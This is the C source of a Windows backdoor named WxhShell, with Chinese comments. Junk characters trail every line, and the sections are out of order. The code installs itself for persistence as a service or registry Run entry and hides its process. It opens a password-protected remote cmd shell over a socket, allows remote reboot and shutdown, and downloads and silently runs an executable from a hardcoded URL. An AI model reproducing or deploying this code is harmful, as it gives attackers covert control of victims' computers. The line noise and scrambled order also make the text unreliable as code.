    break; {,zn#hU.R  
    } SW*Y u{  
  // 关机 R{SN.%{;  
  case 'd': { s N|7   
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); \tZZn~ex  
    if(Boot(SHUTDOWN)) p+O,C{^f  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 137:T:  
    else { "o>gX'm*  
    closesocket(wsh); CxJkT2  
    ExitThread(0); cuo'V*nWQ  
    } 8+OcM ;0  
    break; t{Xf3.  
    } n>:|K0u"  
  // 获取shell B0eKj=y;  
  case 's': { *HXx;:  
    CmdShell(wsh); ? _Y2'O  
    closesocket(wsh); VLs%;|`5D  
    ExitThread(0); oV Hh  
    break; [_wenlkm  
  } ?PST.+l  
  // 退出 mnS F=l;;  
  case 'x': { 3pk `&'  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); ,CA3Q.y>|  
    CloseIt(wsh); 7z^\}&  
    break; No G`J$D  
    } h,%b>JFo  
  // 离开 yi$Jk}w  
  case 'q': { 9$oU6#U,h  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); -P'KpX:]hd  
    closesocket(wsh); ^t#W?rxp&  
    WSACleanup(); i%eq!q  
    exit(1); 8KhE`C9z  
    break; pz]#/Ry?  
        } P]b * hC  
  } |'" 17c&  
  } 7 G<v<&  
Zr U9oy&!C  
  // 提示信息 i`)h~V|G  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); #\X="' /  
} -p\uW 0XA  
  } 6 (@U+`  
rfVHPMD0  
  return; w;Jby  
} fXJbC+  
8kwe._&)  
// shell模块句柄 q V +gQ  
int CmdShell(SOCKET sock) E=9xiS  
{ S"wn0B$"  
STARTUPINFO si; 9;*-y$@  
ZeroMemory(&si,sizeof(si)); V`/D!8>  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; tUPdq0%t[  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; B"rfR_B2M#  
PROCESS_INFORMATION ProcessInfo; _R 6+bB$  
char cmdline[]="cmd"; B<p -.tv  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [~[)C]-=  
  return 0; /\0 rRT  
} 2[8C?7_K0?  
g* & |Eq/  
// 自身启动模式 "7&DuF$s)  
int StartFromService(void) d}2$J1`  
{ -~'{WSJ  
typedef struct ?mCino  
{ w#!^wN  
  DWORD ExitStatus; x  #Um`  
  DWORD PebBaseAddress; 8 o SNnT  
  DWORD AffinityMask; BS_ 3|  
  DWORD BasePriority; Q*J8`J:#^R  
  ULONG UniqueProcessId; :p@.aD5  
  ULONG InheritedFromUniqueProcessId; WX9ABh&5  
}   PROCESS_BASIC_INFORMATION; LW$(;-rY  
>-0\wP  
PROCNTQSIP NtQueryInformationProcess; ~7$4w# of0  
8NJxtT~0c~  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; J:!m49fF  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ;  KDX1_r=Y  
A./ VO  
  HANDLE             hProcess; >$RQ  
  PROCESS_BASIC_INFORMATION pbi; m);0sb  
m 3 Y@p$i5  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); pr) `7VuKp  
  if(NULL == hInst ) return 0; ?m(]@6qa  
|g@n'^]  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); IOjp'6Yr  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); y$Rr,]L  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); /~O>He  
P"%QFt,  
  if (!NtQueryInformationProcess) return 0; `Q@w*ta)  
`Nnaw+<]  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); pXy'Ss@y  
  if(!hProcess) return 0; 0'3f^Ajf  
P5K=S.g  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; )9]DJ!]&Q"  
l 10p'9 n  
  CloseHandle(hProcess); J2BCaAwEP,  
i0TbsoKh:  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); V4 `  
if(hProcess==NULL) return 0; l+vD`aJ3  
+QZ}c@'r  
HMODULE hMod; d:X@zUR*)  
char procName[255]; C$+z1z.!  
unsigned long cbNeeded; .DX-biX,  
u^4$<fd  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); fFNs cY<4w  
]<xzCPB  
  CloseHandle(hProcess); j&Trvw<t  
[pRRBMho  
if(strstr(procName,"services")) return 1; // 以服务启动 Z^[ ]s1iP}  
4F`&W*x  
  return 0; // 注册表启动 2bnYYQ14:  
} +L,V_z  
4aGVIQ  
// 主模块 ;xl0J*r  
int StartWxhshell(LPSTR lpCmdLine) RD|DHio%  
{ ,6 IKkyD  
  SOCKET wsl; z @21Z`,  
BOOL val=TRUE; qN"Q3mU^h*  
  int port=0; ^ 7SE2Zi  
  struct sockaddr_in door; >\o._?xSA  
KSAE!+  
  if(wscfg.ws_autoins) Install(); :OFs" bC  
sx n{uRF  
port=atoi(lpCmdLine); ^?8/9 o  
r,HIoeAKP  
if(port<=0) port=wscfg.ws_port; *N&~Uq^  
|E9'ii&?B  
  WSADATA data; >i_ #q$o  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 6E-AfY'<  
dSI<s^n  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Ii&\LJ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); }n( ?|  
  door.sin_family = AF_INET; 4D}hYk$eP0  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Gsu?m  
  door.sin_port = htons(port); Y:R*AOx  
=<%[P9y  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { c`@";+|r  
closesocket(wsl); f~10 i D  
return 1; i IM\_<?  
} ALQ-aXJ  
aka)#0l .  
  if(listen(wsl,2) == INVALID_SOCKET) { YsMM$rjP +  
closesocket(wsl); *XOLuPL>6)  
return 1; FeZ*c~q  
} 3rY\y+m  
  Wxhshell(wsl); \10KIAQ  
  WSACleanup(); j5[Y0)pV\  
M-Ek(K3SRf  
return 0; ^=k=;   
PthgxB^  
} 4f&"1:  
@^R l{p  
// 以NT服务方式启动 }K5okxio  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) \(RD5@=!4#  
{ O0FUJGuTS  
DWORD   status = 0; I~;w Q  
  DWORD   specificError = 0xfffffff; 2M*i'K;;)P  
h*R w^5,c  
  serviceStatus.dwServiceType     = SERVICE_WIN32; inFS99DKx  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; `^] D;RfE  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ?;y-skh  
  serviceStatus.dwWin32ExitCode     = 0; OD9z7*E@  
  serviceStatus.dwServiceSpecificExitCode = 0; <DP8a<{{  
  serviceStatus.dwCheckPoint       = 0; P2@Z7DhQ  
  serviceStatus.dwWaitHint       = 0; RRXp9{x`  
19U&4Jk  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); d@ >i=l [  
  if (hServiceStatusHandle==0) return; '$c9S[  
xKl1DIN[  
status = GetLastError(); l2kGFgc  
  if (status!=NO_ERROR) x5CMP%}d  
{ &=x4M]t9L  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; peF)U !`D  
    serviceStatus.dwCheckPoint       = 0; B]H8^  
    serviceStatus.dwWaitHint       = 0; `KN>0R2k  
    serviceStatus.dwWin32ExitCode     = status; 9|lLce$  
    serviceStatus.dwServiceSpecificExitCode = specificError; ? 3OfiGX?  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); qDG2rFu&[  
    return; lm 96:S  
  } %S"85#R5E  
``P9fd  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 7f}uRXBV$A  
  serviceStatus.dwCheckPoint       = 0; +ZwoA_k{  
  serviceStatus.dwWaitHint       = 0; eZ+6U`^t  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); .1q}mw   
} P1Z"}Qw  
@ ?M\[qeF@  
// 处理NT服务事件,比如:启动、停止 oOaFA+0x  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ccrWk*tr  
{ MqB@}!  
switch(fdwControl) ^?Mp(o  
{ lKw-C[  
case SERVICE_CONTROL_STOP: . }/8 ]  
  serviceStatus.dwWin32ExitCode = 0; W} i6{ Vh  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; L2,2Sn*4i  
  serviceStatus.dwCheckPoint   = 0; .whi0~i  
  serviceStatus.dwWaitHint     = 0; c )LG+K  
  { @ <{%r  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); nj'5iiV`]  
  } 0\{dt4nW&O  
  return; 4hy -M>!D|  
case SERVICE_CONTROL_PAUSE: 7;o:r$08&}  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; mLqqo2u  
  break; \1jThJn  
case SERVICE_CONTROL_CONTINUE: Lo%vG{yTr  
  serviceStatus.dwCurrentState = SERVICE_RUNNING;  C3{hf  
  break; h/t;ZLUAZP  
case SERVICE_CONTROL_INTERROGATE: aWIkp5BFj  
  break; hNM8H  
}; o 2 Nu@^+  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); LN WS  
} )0-A;X2  
9L:wfg}8s  
// 标准应用程序主函数 pE&G]ZC  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) Ku l<Q<  
{ TvDSs])  
NgDhdOB  
// 获取操作系统版本 SjB"#E)  
OsIsNt=GetOsVer(); KU,SAcfR7  
GetModuleFileName(NULL,ExeFile,MAX_PATH); x<gmDy*  
A.vAk''(}+  
  // 从命令行安装 EL$DvJ~  
  if(strpbrk(lpCmdLine,"iI")) Install(); UHZ&7jfl  
ZPmqoR[  
  // 下载执行文件 e'.BTt58Y  
if(wscfg.ws_downexe) { =U3S"W %  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) {&n- @$?  
  WinExec(wscfg.ws_filenam,SW_HIDE); p>7qyZ8  
} Nn[*ox#i  
ks0Q+YW  
if(!OsIsNt) { ,Q-,#C"  
// 如果时win9x,隐藏进程并且设置为注册表启动 ik(Du/  
HideProc(); ->b5"{t  
StartWxhshell(lpCmdLine); '#f<wf n  
} .jCGtR )%  
else jg710.v:  
  if(StartFromService()) ~a ([e\~  
  // 以服务方式启动 R'k `0  
  StartServiceCtrlDispatcher(DispatchTable); e"t0 rScA  
else m[}k]PB>  
  // 普通方式启动 Mp`$1Ksn  
  StartWxhshell(lpCmdLine); YGo?%.X  
7\6g>4J^`  
return 0; ]o<]A[<  
} =y][j+WH  
r @4A% ql<  
1,wcf,  
G ?$ @6  
=========================================== YCbvCw$Ob  
cW:y^(Xii  
]bY|>q  
Keh=>K)T  
Me .I>7c  
dEJqgp}\p  
" *]]Zpa6  
oV vA`}  
#include <stdio.h> |T|m5V'l  
#include <string.h> u"HGT=Nl  
#include <windows.h> L BbST!  
#include <winsock2.h> PQ 4mNjXN  
#include <winsvc.h> f;{Q ~  
#include <urlmon.h> Hh% !4_AMw  
pp@ Owpb  
#pragma comment (lib, "Ws2_32.lib") `MU~N_  
#pragma comment (lib, "urlmon.lib") = QBvU)Ki  
TF8#I28AD  
#define MAX_USER   100 // 最大客户端连接数 Mh)? A/e  
#define BUF_SOCK   200 // sock buffer v)+g<!  
#define KEY_BUFF   255 // 输入 buffer (.4lsKN<  
zS%XmS\  
#define REBOOT     0   // 重启 Pu3oQDldV  
#define SHUTDOWN   1   // 关机 uN`/&_$c  
1{a%V$S[  
#define DEF_PORT   5000 // 监听端口 s)E  \  
3k1e  
#define REG_LEN     16   // 注册表键长度 GKt."[seV  
#define SVC_LEN     80   // NT服务名长度 E#J})cPzw  
CYaN;HV@_  
// 从dll定义API D>7a0p784  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); O <Rh[Aqn  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); -Uo11'{  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); q}LDFsU  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); tAv3+  
sT)>Vdwf_  
// wxhshell配置信息 KwL_ae6fV  
struct WSCFG { j*.;6}\o  
  int ws_port;         // 监听端口 `dvg5qQ  
  char ws_passstr[REG_LEN]; // 口令 yx]9rD1cz  
  int ws_autoins;       // 安装标记, 1=yes 0=no 1=)M15  
  char ws_regname[REG_LEN]; // 注册表键名 q94;x|63  
  char ws_svcname[REG_LEN]; // 服务名 ?%6oM  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Bv<gVt  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Pe _O(  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 Tdi^P}i_  
int ws_downexe;       // 下载执行标记, 1=yes 0=no :H]d1  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" V%8(zt  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 hZJ~zx~  
_WEJ,0* #'  
}; hY&Yp^"}]^  
^-"Iw y  
// default Wxhshell configuration mh3S?Uc  
struct WSCFG wscfg={DEF_PORT, eAlOMSL\  
    "xuhuanlingzhe", aC,adNub  
    1, D;R~!3f./b  
    "Wxhshell", ,U\ s89  
    "Wxhshell", NH/A`Wm  
            "WxhShell Service", ~(R=3  
    "Wrsky Windows CmdShell Service", *V2;ds.~  
    "Please Input Your Password: ", l2Sar1~1  
  1, Jpapl%7v  
  "http://www.wrsky.com/wxhshell.exe", LzU'6ah';5  
  "Wxhshell.exe" 1$0Kvvg[  
    }; ~[Tcl  
R%jOgZG  
// 消息定义模块 @;4;72@O  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; NW[K/`-CTH  
char *msg_ws_prompt="\n\r? for help\n\r#>"; VEgtN}  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Q5ASN"_  
char *msg_ws_ext="\n\rExit."; rDWAZ<;;  
char *msg_ws_end="\n\rQuit."; a&%aads  
char *msg_ws_boot="\n\rReboot..."; l2LQV]l  
char *msg_ws_poff="\n\rShutdown..."; XM:BMd|  
char *msg_ws_down="\n\rSave to "; .aNh>`OT'  
bN_e~z  
char *msg_ws_err="\n\rErr!"; NVM_.vL  
char *msg_ws_ok="\n\rOK!"; 6BV 6<PHJ  
t<v.rb  
char ExeFile[MAX_PATH]; PLz{EQ[cV  
int nUser = 0; B=cA$620  
HANDLE handles[MAX_USER]; xrg"/?84  
int OsIsNt; (,I:m[0  
"&={E{pQ  
SERVICE_STATUS       serviceStatus; ,!{8@*!=s  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; fJ*^4  
cNd&C'/N  
// 函数声明 ??/bI~Sd  
int Install(void); l!,tssQ  
int Uninstall(void); |qX ?F`  
int DownloadFile(char *sURL, SOCKET wsh); Xe);LhDC  
int Boot(int flag); 'UX^]  
void HideProc(void); D|zuj]  
int GetOsVer(void); y[i}iT/~  
int Wxhshell(SOCKET wsl); U,U=udsi  
void TalkWithClient(void *cs); |m-N5$\IC  
int CmdShell(SOCKET sock); p6j-8ggL  
int StartFromService(void); A$wC !P|;  
int StartWxhshell(LPSTR lpCmdLine); uj3`M9  
w%\ nXJ  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); Pn9".  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); )x!q;^Js9A  
@{@b^tk  
// 数据结构和表定义 $s _k/dM~&  
SERVICE_TABLE_ENTRY DispatchTable[] = j/TnKO  
{ Cj>HMB}  
{wscfg.ws_svcname, NTServiceMain}, j& 7>ph  
{NULL, NULL} uf?;;wg  
}; o`CM15d*7o  
P.YT/  
// 自我安装 ]C^ #)7  
int Install(void) 7u"Q1n(h/  
{ a~yiLq  
  char svExeFile[MAX_PATH]; q;9X8 _  
  HKEY key; % i?  
  strcpy(svExeFile,ExeFile); uYebRCdR  
cWQJ9.:7  
// 如果是win9x系统,修改注册表设为自启动 w yxPvI`   
if(!OsIsNt) { 4Y?fbb<  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { wbWC &X.  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); #btz94/~O  
  RegCloseKey(key); \Hb!<mrp  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { w#1BHx  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); {eU>E /SQ  
  RegCloseKey(key); EC\@$Fg  
  return 0; ;^:8F  
    } ox SSEs  
  } FqJd  
} uyEk1)HC  
else { ;jxX/c  
JA{kifu0+  
// 如果是NT以上系统,安装为系统服务 4j;IyQDvM  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); 5!ngM  
if (schSCManager!=0) O=}w1]  
{ &DGqY5=  
  SC_HANDLE schService = CreateService %x#S?GMV<  
  ( n$ByTmKxv  
  schSCManager, hg12NzbK  
  wscfg.ws_svcname, F$>#P7ph\a  
  wscfg.ws_svcdisp, ();Z,A  
  SERVICE_ALL_ACCESS, 4r;le5@  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , $Ud9v4  
  SERVICE_AUTO_START, >? o5AdZ  
  SERVICE_ERROR_NORMAL, {31X  
  svExeFile, Z^]Oic/0Oa  
  NULL, .+2:~%v6  
  NULL, #l>r9Z71  
  NULL, 6&+dpr&c~=  
  NULL, xe OfofC(l  
  NULL 8Ud.t =2  
  ); no\G >#  
  if (schService!=0) n<EIu  
  { a%y*e+oM  
  CloseServiceHandle(schService); V B ^1wm  
  CloseServiceHandle(schSCManager); H1~9f {  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); D0\*WK$  
  strcat(svExeFile,wscfg.ws_svcname); + d>2'  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { lx$Z/f  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); k FRVW+  
  RegCloseKey(key); ;U0w<>4L  
  return 0; z__{6"^  
    } c(Xm~ 'jeH  
  } y[f%0*\B  
  CloseServiceHandle(schSCManager); 4EeVO5  
} (CDh,ZN;|  
} =H-BsX?P  
Q&$2F:4f&  
return 1; H5vg s2R  
} 9R+ qw  
!K.)Qr9V  
// 自我卸载 {JQV~rfh`  
int Uninstall(void) fuf' r>1n  
{ ME*zMLoF+  
  HKEY key; &mJm'Ks  
KVC18"|f  
if(!OsIsNt) { }P!:0w3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { =?M{B1;H  
  RegDeleteValue(key,wscfg.ws_regname); w$qdV,s 7  
  RegCloseKey(key); 0CeBU(U+|R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ;x)f;!e+  
  RegDeleteValue(key,wscfg.ws_regname); 9-Qu5L~  
  RegCloseKey(key); &)Vuh=  
  return 0; ,[|i^  
  } BC%V<6JBu(  
} 1OFrxSg  
} =dQ46@  
else { utdus:B#0  
|@D%y&  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);  *% ]&5  
if (schSCManager!=0) E zU=q E  
{ jJkc vC8d  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 9Kc;]2m  
  if (schService!=0) Wh?3vZ^  
  { k _Bz@^J  
  if(DeleteService(schService)!=0) { x*_'uPo S  
  CloseServiceHandle(schService); R5cpmCs@R  
  CloseServiceHandle(schSCManager); M;X}v#l|XI  
  return 0; Qv;^nj{\qV  
  } }(UU~V  
  CloseServiceHandle(schService); !y;xt?  
  } O=}jg0k  
  CloseServiceHandle(schSCManager); QL@}hw.F  
} u3vw[k  
} y=e|W=<D&  
]%6XE)  
return 1; Z&Z= 24q_  
} J+nUxF;EE  
$@ZrGT  
// 从指定url下载文件 &Ht5!zuW,  
int DownloadFile(char *sURL, SOCKET wsh) D"s ]dQ$r  
{ |("zW7g  
  HRESULT hr; ,uhOf! |  
char seps[]= "/"; R|t.J oP9  
char *token; +Ft@S(IE  
char *file; } |? W  
char myURL[MAX_PATH]; uKpWb1(  
char myFILE[MAX_PATH]; >0jg2vqt  
[f@[ gE  
strcpy(myURL,sURL); -x0u}I  
  token=strtok(myURL,seps); Ab)X/g-I @  
  while(token!=NULL) <lHVch"(^$  
  { L[.RV*sL  
    file=token; iz\GahK  
  token=strtok(NULL,seps); }*M>gvPo  
  }  Y.v. EZ  
)U u! x6  
GetCurrentDirectory(MAX_PATH,myFILE); uO}UvMW  
strcat(myFILE, "\\"); M"<B@p]rk:  
strcat(myFILE, file); Q\[2BJo/  
  send(wsh,myFILE,strlen(myFILE),0); ^Jdji:  
send(wsh,"...",3,0); s^ R i g[  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); A&/ YnJ"  
  if(hr==S_OK) E)utrO R  
return 0; M*lCoJ  
else 0GP\*Y8  
return 1; !1cVg ls|  
S{F'k;x/5  
} Yl0_?.1 z  
Ym5ji$!2  
// 系统电源模块 [,As;a*o  
int Boot(int flag) ~_Q1+ax}  
{ pLea 4  
  HANDLE hToken; Y5?OJO{h"  
  TOKEN_PRIVILEGES tkp; TuX9:Q  
[$AOu0J  
  if(OsIsNt) { T+U,?2nF:  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 2u?k;"]V  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); |w w@V<'/#  
    tkp.PrivilegeCount = 1; *wD| e K7  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; )7}f .  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); EX9os  
if(flag==REBOOT) { u[G`_Y{=EM  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) n/jZi54gO  
  return 0; }SZU'lYHoM  
} Ir :y#  
else { ~s4o1^6L  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _@:O&G2nB  
  return 0; vm Y*K  
} tEE4"OAy  
  } @_4E^KgF  
  else { /<-@8CC<  
if(flag==REBOOT) { 9E-]S'Z  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) 1]% ]"JbV  
  return 0; h1+lVAQbT  
} "{"745H5  
else { CZ4Nw]dtR  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Q@w=Jt<  
  return 0; FhVoN}  
} w:+wx/\  
} 5w#7B  
LOX}  
return 1; Bq4^nDK  
} |E5\_Z  
oW\kJ>!  
// win9x进程隐藏模块 \PJpy^i  
void HideProc(void) t+<?$I[  
{ yirQ  
D,sb {N  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); NGq@x%T  
  if ( hKernel != NULL ) !5zDnv  
  { %|\Af>o4d  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); "B3&v%b  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); U1;<NUg  
    FreeLibrary(hKernel);  A4  
  } ZW)_dg9  
)g ; !IL  
return; }ofx?s}  
} H2 Gj(Nc-  
ayK?\srw  
// 获取操作系统版本 QuWW a|g^.  
int GetOsVer(void) ` 5lW  
{ jWjp0ii  
  OSVERSIONINFO winfo; J_eu(d[9  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 7*I:cga  
  GetVersionEx(&winfo); lGZf_X)gA^  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) vzH"O=  
  return 1; V N<omi+4  
  else x*7Q  
  return 0; Yx3ivjX.>  
} "%E<%g  
W:hg*0z-*  
// 客户端句柄模块 7GG:1:2+>  
int Wxhshell(SOCKET wsl) J{qsCJiB  
{ >_'0 s  
  SOCKET wsh; @t{`KB+ ^  
  struct sockaddr_in client; ?(R !BB  
  DWORD myID; oo-O>M#5  
wT>~7$=L{  
  while(nUser<MAX_USER) *F;W 1TF  
{ ;m#_Rj6  
  int nSize=sizeof(client); 5`\"UC7?%  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )\RG NJMC  
  if(wsh==INVALID_SOCKET) return 1; p G(Fw>  
d\-v+'d*+  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); u8r<B4k  
if(handles[nUser]==0) ;6}> Shs  
  closesocket(wsh); K3xt,g  
else S;iJQS   
  nUser++; RaC8Sq7hW  
  } LMHii Os,  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 1A}#j  
 WJTc/  
  return 0; Z>PS>6  
} u9u'!hAGH  
^y.|KA3[  
// 关闭 socket YkF52_^_  
void CloseIt(SOCKET wsh) rH$M6S  
{ %;,4qB  
closesocket(wsh); g&r3 ;  
nUser--; 9Ecc~'f  
ExitThread(0); 66{Dyn7J~  
} 5;@2SY7 ,  
FBeo@  
// 客户端请求句柄 :_[pZ;-@  
void TalkWithClient(void *cs) xV"~?vD  
{ ]jSRO30H3<  
m+QZ|  
  SOCKET wsh=(SOCKET)cs; }CM#jN?(  
  char pwd[SVC_LEN]; ^VsE2CX  
  char cmd[KEY_BUFF]; KEjMxOv1  
char chr[1]; ^G14Z5.  
int i,j; ?tkl cYB  
k>F>y|m  
  while (nUser < MAX_USER) { nT9Hw~f<j  
+ zf`_1+)U  
if(wscfg.ws_passstr) { V3<#_:;  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); J"K(nKXO_?  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ,z~"Mst  
  //ZeroMemory(pwd,KEY_BUFF); qOflvf  
      i=0; \$!D^%~;  
  while(i<SVC_LEN) { f h:wmc'  
mhI   
  // 设置超时 +z<GycIc?K  
  fd_set FdRead; w\a6ga!xt"  
  struct timeval TimeOut; qwq5y t?  
  FD_ZERO(&FdRead); xAr&sGMA  
  FD_SET(wsh,&FdRead); QB d4ok: R  
  TimeOut.tv_sec=8; 3Xm> 3  
  TimeOut.tv_usec=0; 8WpZ "  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ]IH1_?HgP7  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); n7.85p@ua  
'4}8WYKQ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 7n*"9Ai(  
  pwd=chr[0]; 6Zx5^f(qd  
  if(chr[0]==0xd || chr[0]==0xa) { tB VtIOm9  
  pwd=0; 3|%058bF  
  break; Ymf@r?F<  
  } T(Ji%S >  
  i++; c4.2o<(Xt  
    } .\ :MB7p  
bX 6uGu 7  
  // 如果是非法用户,关闭 socket v6ei47-  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ^%0^DN  
} yq[. WPve  
@}pcj2K#  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); yb,$UT"]  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); )4N1EuD6  
O;|jLf_If  
while(1) { @"H7Q1Hg!*  
ibLx'<  
  ZeroMemory(cmd,KEY_BUFF); /x<uv_"  
g_0| `Sm  
      // 自动支持客户端 telnet标准   6 X'#F,M  
  j=0; @d:GtAW  
  while(j<KEY_BUFF) { 6}~k4;'}A  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); dH'02[;  
  cmd[j]=chr[0]; w`v` aw]  
  if(chr[0]==0xa || chr[0]==0xd) { WVz2 bzj  
  cmd[j]=0; }2S)CL=  
  break; Z<QNzJ D  
  } Xka+1c  
  j++; F6}YM|  
    } D&i, `j  
+hX =  
  // 下载文件 9|Ylv:sR  
  if(strstr(cmd,"http://")) { X_!km-{  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ouO9%)zv  
  if(DownloadFile(cmd,wsh)) y:_>R=sw  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); s3  fQGbU  
  else ]68 FGH  
